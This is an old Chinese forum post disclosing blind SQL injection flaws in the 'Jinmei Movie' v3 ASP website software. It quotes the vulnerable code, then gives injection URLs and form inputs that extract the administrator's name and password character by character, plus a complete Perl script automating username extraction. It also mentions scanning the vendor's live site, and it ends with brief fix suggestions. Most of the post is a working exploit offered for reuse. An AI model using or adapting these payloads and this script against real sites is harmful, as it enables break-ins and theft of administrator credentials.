温柔网

 找回密码
 注册

查看: 603|回复: 1

金梅电影的N个SQL注入漏洞

[复制链接]
发表于 2004-1-7 23:33:42 | 显示全部楼层 |阅读模式
涉及版本,金梅电影第三版
初学SQL注入,高手不要见笑,只写一此比较简单的注入。金梅电影实在是漏洞百出!先来看movie.asp
来这一段:articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1articleid未经任何检查便提交了,呵呵。我们可以构造如下代码:
127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20len(pwd)=6)
127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20len(name)=8)
如果下常返回页面,那么可以得到后台管理员名为8位,而密码为6位。哈哈,再来:
127.0.0.1/movie.asp?id=28%20AND%201=(select%20id%20from%20password%20where%20mid(name,1,1)=w)
正常返回页面,证明后台管理员名的第一个字母为w,呵呵,接下来不用我说了吧。重复提交类似代码,就可以把管理员名和密码弄到手了。手工输入就太麻烦了,下面这段脚本用来测试这一漏洞:
#!/usr/bin/perl
#The s cript Crack admin for 金梅电影程序
#Code by 520world
use IO::Socket;system(cls);
$ARGC = @ARGV;
if ($ARGC < 3)
{
print "\n\n";
print "\t* The s cript Crack admin for 金梅电影程序 *\n";
print "\n\tExample: jmsql.pl 127.0.0.1 /movie.asp 53 \"\n";
print "\t jmsql.pl    \n\n\n";
exit;
} $host = @ARGV[0];
$way = @ARGV[1];
$txtid = @ARGV[2];
$errinfo =@ARGV[3]||800a0bcd;
$port = 80; print "\n\t* Code by 520world QQ:20000445 *\n";
print "\n\n开始在 $host 上进行测试,请等待......\n";
for ($passlen=1;$passlen<=20;$passlen++)
{
$way1 = "?id=$txtid%20AND%201=(select%20id%20from%20password%20where%20len(pwd)=$passlen)";&url;@res = &connect;if ("@res" !~ /$errinfo/)
{
print "\n\t* 发现ID=1的管理员的密码长度为: $passlen 位\n";
last;
}
}for ($userlen=1;$userlen<=20;$userlen++)
{
$way1 = "?id=$txtid%20AND%201=(select%20id%20from%20password%20where%20len(name)=$userlen)";&url;@res = &connect;if ("@res" !~ /$errinfo/)
{
print "\n\t* 发现ID=1的管理员的用户名长度为: $userlen 位\n";
last;
}
}@dig=(0..9);
@char=(a..z);
@tchar=qw(` ~ ! + @ # $Content$nbsp;^ * \( \) _ = - { } [ ] : " ; < > ? | , . / \\);
@dic=(@dig,@char,@tchar);
@dic1=(@char,@dig,@tchar);print "\n开始尝试获取ID=1的管理员的用户名,请等待......\n";for ($userlocat=1;$userlocat<=$userlen;$userlocat++)
{
foreach $usertemp(@dic1)
{
$user=$userdic.$usertemp;$way1 = "?id=$txtid%20and%201=(select%20id%20from%20password%20where%20mid(name,1,$userlocat)=$user)";&url;@res = &connect;if ("@res" !~ /$errinfo/)
{
if ($userlocat==$userlen){print "\n\n\t* 获取成功!!! ID=1的管理员名字是: $user\n";last;}
print "\n\t* ID=1的管理员名字的前 $userlocat 位为 $user";
$userdic=$userdic.$usertemp;
last;
}
}
}
print "\n\n\n\t* 测试完毕. 获取到一个用户名为$user! *\n";
print "\n\n\n";
#system(pause);
sub url
{
$req = "GET $way$way1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Cookie: \n\n";
}
sub connect
{
my $connection = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";print $connection $req;
my @res = <$connection>;
close $connection;
return @res;
}其实我是个菜鸟,这段脚本是根据wawa的动网文章改来的,还请高手不要见笑,多多指教啊。
因为是用来测试的程序,所以没有提供猜测密码的代码,还请大家不要做坏事哦!
用法:jmsql.pl <网站域名> <页面路径movie.asp> <能正常返回页面的id>再来看class.asp,

............略
if typeid="全部" then
sql="select articleid,title,hits from learning order by hits desc"
else
sql="select articleid,title,hits from learning where typeid="&typeid&"order by hits desc"
end if
Set rst= Server.CreateObject("ADODB.Recordset")
rst.open sql,conn,1,1
if rst.eof and rst.bof then
response.write " 该栏目没有任何电影

"呵呵,又来了,typeid未经任何检测。看下面的代码:
http://127.0.0.1/class.asp?typeid=动作片%20and%201=(select%20id%20from%20password%20where%20len(name)>6)%20and%201
正常返回页面,那么管理员的密码长度大于六了。哈哈。
不用再说了。重复类似代码,管理员名和密码又能到手了。。。。。还有/user/searchname.asp,
看代码:
<%
if request("searchuser")<>"" then
set rs=server.createobject("adodb.recordset")
sql="select userid from users where userid="&request("userid")&""
rs.open sql,conn,1,2
if rs.eof then
response.write "alert(这一“用户名称”还未被注册你可以使用!);window.close();"
response.end
else
response.write "alert(这一“用户名称”已被占用,请得新输入!);history.back();"
response.end
end if
rs.close
又是未经任何检查。
我们先注册一个用户,比如jjhhh.
下面打开searchname.asp,在检查用户名的输入框中输入如下代码:
jjhhh and 1=(select id from password where len(name)=6) and 1
提交查询,返回“用户名已被注册,请得新查询”(晕,金梅字都打错了!!!!)
OK,得到管理员的用户名为六位,,呵呵。
再来,
jjhhh and 1=(select id from password where mid(name,1,1)=w) and 1
返回用户名已被注册,哈哈,管理员ID第一个字母是w!
..........................
关于这个页面的注入我也写了个脚本,且已编译成exe,有兴趣的朋友可以和我要。
金梅电影中,诸如此类的漏洞好象还有不少,我这个菜鸟就不再献丑了。希望这篇文章能够抛砖引玉。
也希望金梅能尽快完善程序,金梅用的人很多,商业站也有不少,不要再有洞了。
那个movie.asp中的洞,我看一个星期前已经有人发布了,但是我昨天扫金梅官网,发现他还没有堵这个注入。而仅仅把自己password表名修改了事。其实要堵这些洞,个人觉得并不是太难,只要写的时候多注意提交的检查。比如过滤掉提交中的空格和‘还有=以及()。
再不然就是限制提交的字符数。终极做法可以用md5加密后台密码,别人拿到密码也是白费
发表于 2004-3-9 19:56:15 | 显示全部楼层
???
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|温柔网 ( 浙ICP备13033583号-8 )

GMT+8, 2024-5-3 02:29 , Processed in 0.035794 second(s), 22 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表